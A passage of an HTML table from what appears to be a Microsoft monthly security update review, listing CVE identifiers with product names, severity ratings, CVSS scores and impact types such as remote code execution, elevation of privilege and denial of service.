  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54995"><span>CVE-2026-54995</span></a></td>
  <td width="256" class="xl74">Windows Reliable
  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42982"><span>CVE-2026-42982</span></a></td>
  <td width="256" class="xl74">Windows Secure Kernel
  Mode Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50392"><span>CVE-2026-50392</span></a></td>
  <td width="256" class="xl74">Windows Secure Kernel
  Mode Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50694"><span>CVE-2026-50694</span></a></td>
  <td width="256" class="xl74">Windows Secure Socket
  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56188"><span>CVE-2026-56188</span></a></td>
  <td width="256" class="xl74">Windows Server Network
  driver Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50444"><span>CVE-2026-50444</span></a></td>
  <td width="256" class="xl74">Windows Server Update
  Service (WSUS) Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54999"><span>CVE-2026-54999</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47302"><span>CVE-2026-47302</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50525"><span>CVE-2026-50525</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50651"><span>CVE-2026-50651</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57108"><span>CVE-2026-57108</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50524"><span>CVE-2026-50524</span></a></td>
  <td width="256" class="xl74">.NET Framework Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50527"><span>CVE-2026-50527</span></a></td>
  <td width="256" class="xl74">.NET Framework Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50648"><span>CVE-2026-50648</span></a></td>
  <td width="256" class="xl74">.NET Framework Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50650"><span>CVE-2026-50650</span></a></td>
  <td width="256" class="xl74">.NET Framework
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50646"><span>CVE-2026-50646</span></a></td>
  <td width="256" class="xl74">.NET Framework Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50649"><span>CVE-2026-50649</span></a></td>
  <td width="256" class="xl74">.NET Remote Code
  Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47304"><span>CVE-2026-47304</span></a></td>
  <td width="256" class="xl74">.NET Security Feature
  Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50528"><span>CVE-2026-50528</span></a></td>
  <td width="256" class="xl74">.NET Security Feature
  Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50659"><span>CVE-2026-50659</span></a></td>
  <td width="256" class="xl74">.NET Spoofing
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50526"><span>CVE-2026-50526</span></a></td>
  <td width="256" class="xl74">.NET Tampering
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50682"><span>CVE-2026-50682</span></a></td>
  <td width="256" class="xl74">Active Directory
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55001"><span>CVE-2026-55001</span></a></td>
  <td width="256" class="xl74">Active Directory
  Domain Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50647"><span>CVE-2026-50647</span></a></td>
  <td width="256" class="xl74">Active Directory
  Federation Server Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50684"><span>CVE-2026-50684</span></a></td>
  <td width="256" class="xl74">Active Directory
  Federation Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56170"><span>CVE-2026-56170</span></a></td>
  <td width="256" class="xl74">ASP.NET Core Denial of
  Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47300"><span>CVE-2026-47300</span></a></td>
  <td width="256" class="xl74">ASP.NET Core Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47303"><span>CVE-2026-47303</span></a></td>
  <td width="256" class="xl74">ASP.NET Core Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50652"><span>CVE-2026-50652</span></a></td>
  <td width="256" class="xl74">Azure Active Directory
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50653"><span>CVE-2026-50653</span></a></td>
  <td width="256" class="xl74">Azure Active Directory
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57969"><span>CVE-2026-57969</span></a></td>
  <td width="256" class="xl74">Azure CycleCloud
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58279"><span>CVE-2026-58279</span></a></td>
  <td width="256" class="xl74">Azure CycleCloud
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47632"><span>CVE-2026-47632</span></a></td>
  <td width="256" class="xl74">Azure Monitor Agent
  Metrics Extension Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50338"><span>CVE-2026-50338</span></a></td>
  <td width="256" class="xl74">Azure Spring Apps
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50488"><span>CVE-2026-50488</span></a></td>
  <td width="256" class="xl74">Clipboard User Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50491"><span>CVE-2026-50491</span></a></td>
  <td width="256" class="xl74">Code Integrity DLL
  (ci.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50381"><span>CVE-2026-50381</span></a></td>
  <td width="256" class="xl74">Composite Image File
  System driver (cimfs.sys) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50427"><span>CVE-2026-50427</span></a></td>
  <td width="256" class="xl74">Content Delivery
  Manager Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50692"><span>CVE-2026-50692</span></a></td>
  <td width="256" class="xl74">Desktop Window Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58633"><span>CVE-2026-58633</span></a></td>
  <td width="256" class="xl74">Desktop Window Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58634"><span>CVE-2026-58634</span></a></td>
  <td width="256" class="xl74">Desktop Window Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50296"><span>CVE-2026-50296</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50375"><span>CVE-2026-50375</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50353"><span>CVE-2026-50353</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50493"><span>CVE-2026-50493</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56643"><span>CVE-2026-56643</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56644"><span>CVE-2026-56644</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58629"><span>CVE-2026-58629</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49174"><span>CVE-2026-49174</span></a></td>
  <td width="256" class="xl74">DNS Client Tampering
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50495"><span>CVE-2026-50495</span></a></td>
  <td width="256" class="xl74">DNS Client Tampering
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57088"><span>CVE-2026-57088</span></a></td>
  <td width="256" class="xl74">Extensible Storage
  Engine (ESENT) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50663"><span>CVE-2026-50663</span></a></td>
  <td width="256" class="xl74">Game: Age of Empires
  II: Definitive Edition Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47282"><span>CVE-2026-47282</span></a></td>
  <td width="256" class="xl74">GitHub Copilot and
  Visual Studio Code Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41109"><span>CVE-2026-41109</span></a></td>
  <td width="256" class="xl74">GitHub Copilot and
  Visual Studio Code Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50510"><span>CVE-2026-50510</span></a></td>
  <td width="256" class="xl74">GitHub Copilot Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49787"><span>CVE-2026-49787</span></a></td>
  <td width="256" class="xl74">HTTP.sys Denial of
  Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50420"><span>CVE-2026-50420</span></a></td>
  <td width="256" class="xl74">HTTP.sys Information
  Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49788"><span>CVE-2026-49788</span></a></td>
  <td width="256" class="xl74">HTTP/2 Denial of
  Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50696"><span>CVE-2026-50696</span></a></td>
  <td width="256" class="xl74">Internet Key Exchange
  (IKE) Protocol Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58617"><span>CVE-2026-58617</span></a></td>
  <td width="256" class="xl74">M365 Copilot for iOS
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58595"><span>CVE-2026-58595</span></a></td>
  <td width="256" class="xl74">Microsoft Bing App for
  IOS Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49162"><span>CVE-2026-49162</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50305"><span>CVE-2026-50305</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50361"><span>CVE-2026-50361</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50466"><span>CVE-2026-50466</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50458"><span>CVE-2026-50458</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50658"><span>CVE-2026-50658</span></a></td>
  <td width="256" class="xl74">Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56178"><span>CVE-2026-56178</span></a></td>
  <td width="256" class="xl74">Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50657"><span>CVE-2026-50657</span></a></td>
  <td width="256" class="xl74">Microsoft Defender for
  Endpoint for Mac Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50329"><span>CVE-2026-50329</span></a></td>
  <td width="256" class="xl74">Microsoft DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58541"><span>CVE-2026-58541</span></a></td>
  <td width="256" class="xl74">Microsoft DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58596"><span>CVE-2026-58596</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57991"><span>CVE-2026-57991</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
